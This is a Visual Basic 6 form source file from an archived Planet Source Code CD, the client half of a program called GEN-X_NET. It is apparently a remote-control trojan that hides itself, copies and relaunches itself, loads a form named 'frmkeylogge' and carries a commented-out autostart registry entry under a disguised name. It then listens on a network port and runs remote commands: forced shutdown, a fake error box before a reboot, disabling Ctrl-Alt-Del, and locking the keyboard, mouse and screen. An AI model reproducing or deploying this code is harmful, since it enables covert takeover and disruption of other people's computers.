home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 3_2004-2005.ISO / Data / Zips / GEN-X_NET_1844941282005.psc / client / client_frm.frm next >
Text File  |  2005-01-27  |  16KB  |  532 lines

  1. VERSION 5.00
  2. Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
  3. Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "MSCOMCTL.OCX"
  4. Begin VB.Form Form1 
  5.    BackColor       =   &H00000000&
  6.    BorderStyle     =   0  'None
  7.    Caption         =   "Opening Different Windows option"
  8.    ClientHeight    =   9000
  9.    ClientLeft      =   0
  10.    ClientTop       =   0
  11.    ClientWidth     =   12000
  12.    Icon            =   "client_frm.frx":0000
  13.    LinkTopic       =   "Form1"
  14.    Picture         =   "client_frm.frx":0ECA
  15.    ScaleHeight     =   9000
  16.    ScaleWidth      =   12000
  17.    ShowInTaskbar   =   0   'False
  18.    StartUpPosition =   3  'Windows Default
  19.    WindowState     =   2  'Maximized
  20.    Begin VB.Timer Timer2 
  21.       Enabled         =   0   'False
  22.       Interval        =   5000
  23.       Left            =   960
  24.       Top             =   3000
  25.    End
  26.    Begin VB.Timer Timer1 
  27.       Enabled         =   0   'False
  28.       Interval        =   5000
  29.       Left            =   720
  30.       Top             =   840
  31.    End
  32.    Begin MSWinsockLib.Winsock server 
  33.       Left            =   2160
  34.       Top             =   480
  35.       _ExtentX        =   741
  36.       _ExtentY        =   741
  37.       _Version        =   393216
  38.       RemotePort      =   10003
  39.       LocalPort       =   10003
  40.    End
  41.    Begin MSComctlLib.Slider Slider1 
  42.       Height          =   615
  43.       Left            =   720
  44.       TabIndex        =   1
  45.       Top             =   5640
  46.       Visible         =   0   'False
  47.       Width           =   5295
  48.       _ExtentX        =   9340
  49.       _ExtentY        =   1085
  50.       _Version        =   393216
  51.       LargeChange     =   13107
  52.       SmallChange     =   1311
  53.       Max             =   65535
  54.    End
  55.    Begin VB.Label Label1 
  56.       Alignment       =   2  'Center
  57.       AutoSize        =   -1  'True
  58.       BackStyle       =   0  'Transparent
  59.       Caption         =   "Label1"
  60.       BeginProperty Font 
  61.          Name            =   "Times New Roman"
  62.          Size            =   60
  63.          Charset         =   0
  64.          Weight          =   700
  65.          Underline       =   0   'False
  66.          Italic          =   0   'False
  67.          Strikethrough   =   0   'False
  68.       EndProperty
  69.       ForeColor       =   &H00FFC0C0&
  70.       Height          =   1350
  71.       Left            =   1800
  72.       TabIndex        =   0
  73.       Top             =   1320
  74.       Visible         =   0   'False
  75.       Width           =   3555
  76.    End
  77. End
  78. Attribute VB_Name = "Form1"
  79. Attribute VB_GlobalNameSpace = False
  80. Attribute VB_Creatable = False
  81. Attribute VB_PredeclaredId = True
  82. Attribute VB_Exposed = False
  83. 'please visit my site
  84. 'I DONT NEED TO BE VOTE
  85. 'JUST TAG IN MY SITE
  86. 'HTTP://XYREN.USA.GS
  87.  
  88.  
  89. 'THANKS FOR DOWNLOADING MY PROGRAM
  90. Dim MouseControl As Boolean
  91. Dim vol As Long
  92.     
  93.     Dim hmixer As Long
  94.       Dim volCtrl As MIXERCONTROL
  95.       Dim micCtrl As MIXERCONTROL
  96.       Dim rc As Long
  97.       Dim ok As Boolean
  98.  
  99. Dim taskbr As Boolean
  100.   Private shlShell As shell32.Shell
  101.   Private shlFolder As shell32.Folder
  102. Option Explicit
  103. Dim sendtext As String
  104. 'shutdown control
  105. Const EWX_LOGOFF = 0
  106. Const EWX_SHUTDOWN = 1
  107. Const EWX_REBOOT = 2
  108. Const EWX_FORCE = 4
  109.  
  110.  
  111.  
  112. Dim Power As New CPower
  113.  
  114. Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
  115. Dim t
  116. Dim r As Integer
  117.  
  118. Dim result As Integer
  119. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  120.  
  121.  
  122. Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
  123.  
  124.  
  125. 'set the form top
  126. Public username As String
  127.  
  128. Private Const HWND_TOPMOST = -1
  129. Private Const HWND_NOTOPMOST = -2
  130. Private Const SWP_NOSIZE = &H1
  131. Private Const SWP_NOMOVE = &H2
  132. 'Public Const SWP_NOACTIVATE = &H10
  133. Private Const SWP_SHOWWINDOW = &H40
  134.  
  135. Private Declare Sub SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal X As Long, ByVal wFlags As Long)
  136.  
  137.  
  138.  
  139. '=====================================================================
  140. 'REG KEY CONSTANTS
  141. Private Const HKEY_CURRENT_USER = &H80000001
  142. Private Const HKEY_LOCAL_MACHINE = &H80000002
  143. Private Const KEY_WRITE = &H20006
  144. Private Const REG_SZ = 1
  145. 'END REG KEYS
  146.  
  147.  
  148. 'REGISTRY FUNCTIONS
  149. Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" _
  150. (ByVal hKey As Long, ByVal lpSubKey As String, _
  151. ByVal ulOptions As Long, _
  152. ByVal samDesired As Long, _
  153. phkResult As Long) As Long
  154.  
  155. Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
  156.  
  157. Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
  158. (ByVal hKey As Long, ByVal lpValueName As String, _
  159. ByVal reserved As Long, _
  160. ByVal dwType As Long, _
  161. lpData As Any, _
  162. ByVal cbData As Long) As Long
  163.  
  164. ' Call SetBoot(HKEY_LOCAL_MACHINE, "Jaki", App.Path & "\" & App.EXEName & ".exe", "Software\Microsoft\Windows\CurrentVersion\Run")
  165.  '08749274240
  166. Private Sub SetBoot(ByVal hKey As Long, ByVal MKey As String, ByVal stringKeyVal As String, ByVal SubKey As String)
  167. Dim HRKey As Long, StrB As String
  168. Dim retvaL As Long
  169. retvaL = RegOpenKeyEx(hKey, SubKey, 0, KEY_WRITE, HRKey)
  170. If retvaL <> 0 Then
  171. Exit Sub
  172. End If
  173. StrB = stringKeyVal & vbNullChar
  174. retvaL = RegSetValueEx(HRKey, MKey, 0, REG_SZ, ByVal StrB, Len(StrB))
  175. RegCloseKey HRKey
  176. End Sub
  177.  
  178.  
  179. Private Sub Form_Click()
  180. 'IF THE MESSAGE WILL APPEAR
  181. 'THE FORM HIDE IF CLICKED
  182. If taskbr = True Then
  183.     TaskBarShow
  184.     taskbr = False
  185. End If
  186. App.TaskVisible = False
  187. Me.Hide
  188.  
  189. End Sub
  190.  
  191. Private Sub Form_Load()
  192. If App.PrevInstance = True Then
  193.     End
  194.     Exit Sub
  195. End If
  196. Load frmkeylogge
  197. SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE
  198. 'volume control
  199. ' dont finish this code
  200. rc = mixerOpen(hmixer, 0, 0, 0, 0)
  201.          If ((MMSYSERR_NOERROR <> rc)) Then
  202.              MsgBox "Couldn't open mixer."
  203.              Exit Sub
  204.              End If
  205.              
  206.          ok = GetVolumeControl(hmixer, _
  207.                               MIXERLINE_COMPONENTTYPE_DST_SPEAKERS, _
  208.                               MIXERCONTROL_CONTROLTYPE_VOLUME, _
  209.                               volCtrl)
  210.          If (ok = True) Then
  211.             Slider1.Min = volCtrl.lMinimum
  212.             Slider1.Max = volCtrl.lMaximum
  213.              End If
  214.              
  215.              
  216.              
  217. 'file transfering
  218. ' to drive c
  219. 'IF EVER ON DRIVE A
  220. If App.Path = "a:" Then
  221.     On Error Resume Next
  222.     FileCopy App.Path & App.EXEName & ".EXE", "C:" & App.EXEName & ".EXE"
  223.     On Error Resume Next
  224.     Shell "C:\" & App.EXEName & ".EXE"
  225.     End
  226. Else
  227.     On Error GoTo e
  228.     FileCopy App.Path & App.EXEName & ".EXE", "C:" & App.EXEName & ".EXE"
  229.     On Error Resume Next
  230.     Shell "C:\" & App.EXEName & ".EXE"
  231.     End
  232. e:
  233. 'SET THIS APP START -UP PROGRAM
  234. '   Call SetBoot(HKEY_LOCAL_MACHINE, "Explorer", "c:\Internat.exe", "Software\Microsoft\Windows\CurrentVersion\Run")
  235.     Me.Hide
  236.     On Error Resume Next
  237.     server.Close
  238.     server.Listen
  239.     ' Mid(tmpData, 1, 3) = "vol"
  240.      '       vol = CLng(Form1.Slider1)
  241.       '      SetVolumeControl hmixer, volCtrl, vol
  242. End If
  243. End Sub
  244.  
  245. 'IF CLOSE THE SERVER
  246. 'CLIENT CONTINUE TO LISTEN
  247. Private Sub server_Close()
  248. On Error Resume Next
  249. server.Close
  250. server.Listen
  251. End Sub
  252. 'ACCEPT THE REQUEST OF SERVER
  253. Private Sub server_ConnectionRequest(ByVal requestID As Long)
  254.     On Error Resume Next
  255.     server.Close
  256.     server.Accept requestID
  257.     Timer2.Enabled = False
  258. End Sub
  259.  
  260. Private Sub server_DataArrival(ByVal bytesTotal As Long)
  261.     Dim str1, str2, aa As String
  262.     Dim X, xx, yy, Y, z, d, az As Integer
  263.     Dim tmpData, tmpdata1, tmp As String
  264.     On Error Resume Next
  265.     server.GetData tmpData, vbString, 20
  266.  
  267.     tmp = Trim$(tmpData)
  268.     tmpData = ""
  269.     tmpData = tmp
  270.     
  271.     aa = Mid(tmpData, 1, 8)
  272.     
  273.    ' Select Case aa
  274.     'CHECK THE CURSOR POSITION
  275.             
  276.     Select Case tmpData
  277.         'CD-Rom
  278.         Case "cdc"
  279.         On Error Resume Next
  280.             CloseCDROM
  281.         Case "cdo"
  282.         On Error Resume Next
  283.             OpenCDROM
  284.             
  285.         'Taskbar
  286.         Case "ht"
  287.         On Error Resume Next
  288.             TaskBarHide
  289.         Case "st"
  290.         On Error Resume Next
  291.             TaskBarShow
  292.         
  293.         'desktop Icon
  294.         Case "hd"
  295.         On Error Resume Next
  296.             DesktopIconsHide
  297.         Case "sd"
  298.         On Error Resume Next
  299.             DesktopIconsShow
  300.         
  301.         'Disconnect
  302.         Case "exit"
  303.         On Error Resume Next
  304.             Me.Show
  305.             Label1.Caption = ""
  306.             On Error Resume Next
  307.                 server.Close
  308.                 Call DisableCtrlAltDelete(False)
  309.             Me.Hide
  310.         
  311.         
  312.         'Mouse Control
  313.         Case "c"
  314.         On Error Resume Next
  315.             FlipMouseButtons
  316.         Case "co"
  317.         On Error Resume Next
  318.             FlipMouseButtonsBack
  319.         Case "mouselock"
  320.         On Error Resume Next
  321.             EnableTrap Form1
  322.         Case "mouseunlock"
  323.         On Error Resume Next
  324.             DisableTrap Form1
  325.             SysUnlock
  326.         Case "mousefunc"
  327.         On Error Resume Next
  328.             Cursor_Show
  329.         Case "mousenofunc"
  330.         On Error Resume Next
  331.             Cursor_Hide
  332.         'click control
  333.         Case "right"
  334.         On Error Resume Next
  335.             RightClick
  336.         Case "left"
  337.         On Error Resume Next
  338.             LeftClick
  339.             
  340.         
  341.             
  342.             'power control
  343.         Case "shutdown"
  344.         On Error Resume Next
  345.             Power.ShutDown lShutDown, False
  346.         Case "restart"
  347.         On Error Resume Next
  348.             Power.ShutDown lReboot, False
  349.         Case "standby"
  350.         On Error Resume Next
  351.             Power.ShutDown lSuspend, False
  352.         Case "logoff"
  353.         On Error Resume Next
  354.             Power.ShutDown lSuspend, False
  355.         Case "Hibernate"
  356.         On Error Resume Next
  357.             Power.ShutDown lHibernate, False
  358.             
  359.             'force power control
  360.         Case "shutdownforce"
  361.         On Error Resume Next
  362.             Power.ShutDown lShutDown, True
  363.         Case "restartforce"
  364.         On Error Resume Next
  365.             Power.ShutDown lReboot, True
  366.         Case "standbyforce"
  367.         On Error Resume Next
  368.             Power.ShutDown lSuspend, True
  369.         Case "restarterror"
  370.         On Error Resume Next
  371.             MsgBox "The computer has illegal operation that may cause of system reboot" & vbCrLf & "If there's any complain about the software , please contact the Software provider", vbCritical + vbSystemModal, " ERROR :"
  372.             Power.ShutDown lReboot, True
  373.         Case "Hibernateforce"
  374.         On Error Resume Next
  375.             Power.ShutDown lHibernate, True
  376.         
  377.         
  378.         
  379.         
  380.         'shell control
  381.         Case "minimize"
  382.         On Error Resume Next
  383.             If shlShell Is Nothing Then
  384.                 Set shlShell = New shell32.Shell
  385.             End If
  386.             On Error Resume Next
  387.             shlShell.MinimizeAll
  388.         Case "undominimize"
  389.         On Error Resume Next
  390.             If shlShell Is Nothing Then
  391.                 Set shlShell = New shell32.Shell
  392.             End If
  393.             On Error Resume Next
  394.             shlShell.UndoMinimizeALL
  395.         Case "c:\"
  396.         On Error Resume Next
  397.             If shlShell Is Nothing Then
  398.                 Set shlShell = New shell32.Shell
  399.             End If
  400.             On Error Resume Next
  401.             shlShell.Open "c:\"
  402.         Case "run"
  403.         On Error Resume Next
  404.             If shlShell Is Nothing Then
  405.                 Set shlShell = New shell32.Shell
  406.             End If
  407.             On Error Resume Next
  408.             shlShell.FileRun
  409.         Case "findfiles"
  410.         On Error Resume Next
  411.             If shlShell Is Nothing Then
  412.                 Set shlShell = New shell32.Shell
  413.             End If
  414.             On Error Resume Next
  415.             shlShell.FindFiles
  416.         Case "explorer"
  417.         On Error Resume Next
  418.             If shlShell Is Nothing Then
  419.                 Set shlShell = New shell32.Shell
  420.             End If
  421.             On Error Resume Next
  422.             shlShell.Explore "c:\"
  423.         Case "dos"
  424.         On Error Resume Next
  425.             On Error GoTo e
  426.             Shell "c:\command.com", vbMaximizedFocus
  427.             
  428.             
  429.          'opening program control
  430.          
  431.          'NOTE:
  432.          'NOTE:
  433.          'NOTE:
  434.          'CHECK ITS PATH IF EVER THERES NO RESPOND
  435.         Case "notepad"
  436.             On Error GoTo e
  437.             Shell "C:\WINDOWS\NOTEPAD.EXE", vbMaximizedFocus
  438.         Case "mspaint"
  439.             On Error GoTo e
  440.             Shell "C:\Program Files\Accessories\MSPAINT.EXE", vbMaximizedFocus
  441.         Case "word"
  442.             On Error GoTo e
  443.             Shell "C:\Program Files\Microsoft Office\Office\winword.EXE", vbMaximizedFocus
  444.         Case "access"
  445.             On Error GoTo e
  446.             Shell "C:\Program Files\Microsoft Office\Office\msaccess.EXE", vbMaximizedFocus
  447.         Case "excel"
  448.             On Error GoTo e
  449.             Shell "C:\Program Files\Microsoft Office\Office\excel.EXE", vbMaximizedFocus
  450.         Case "calculator"
  451.             On Error GoTo e
  452.             Shell "C:\WINDOWS\CALC.EXE", vbMaximizedFocus
  453.         
  454.         
  455.         
  456.         'Control CTRL-ALT-DEL
  457.         Case "ena-del"
  458.         On Error Resume Next
  459.             Call ALT_CTRL_DEL_Enabled
  460.         Case "dis-del"
  461.         On Error Resume Next
  462.             Call ALT_CTRL_DEL_Disabled
  463.             
  464.         'keyboard control
  465.         Case "keylock"
  466.         On Error Resume Next
  467.             DisableTrap Form1
  468.             Call DisableCtrlAltDelete(True)
  469.             On Error Resume Next
  470.             SetDWORDValue "HKEY_LOCAL_MACHINE\Software\KeyboardLock", "Locked", "1"
  471.         Case "keyunlock"
  472.         On Error Resume Next
  473.             SysUnlock
  474.             
  475.             
  476.         'block the pc
  477.         Case "black"
  478.         On Error Resume Next
  479.             EnableTrap Form1
  480.             Me.Show
  481.             Timer1.Enabled = False
  482.             Me.Enabled = False
  483.         Case "unblack"
  484.         On Error Resume Next
  485.             DisableTrap Form1
  486.             Me.Enabled = True
  487.             
  488.         'disconnect
  489.         Case "disconnect"
  490.         On Error Resume Next
  491.             Timer2.Enabled = True
  492.             Exit Sub
  493.             
  494.         'message
  495.         Case Else
  496.         On Error Resume Next
  497.             Me.Show
  498.             Label1.Visible = True
  499.             Label1.Caption = tmpData
  500.             Label1.Move (Form1.Width \ 2) - (Label1.Width \ 2), (Form1.Height \ 2) - (Label1.Height \ 2)
  501.             Timer1.Enabled = True
  502.             TaskBarHide
  503.             taskbr = True
  504.     End Select
  505. 'End Select
  506. e:
  507. Exit Sub
  508. End Sub
  509.  
  510. 'TASKBAR WILL HIDE IF THE SERVER
  511. 'SEND A MESSAGE
  512. 'TS INTERVAL FOR DISPLAY
  513.  
  514. 'TRY TO CHANGE THE INTERVAL
  515. 'AUTO HIDE IF THE FORM NOT CLICKED
  516. Private Sub Timer1_Timer()
  517. On Error Resume Next
  518. If taskbr = True Then
  519.     TaskBarShow
  520.     taskbr = False
  521. End If
  522. Me.Hide
  523. Timer1.Enabled = False
  524. End Sub
  525.  
  526. 'IF THE SERVER WAS CLOSE THE CLIENT CONTINUE TO LISTEN
  527. Private Sub Timer2_Timer()
  528. On Error Resume Next
  529. server.Close
  530. server.Listen
  531. End Sub
  532.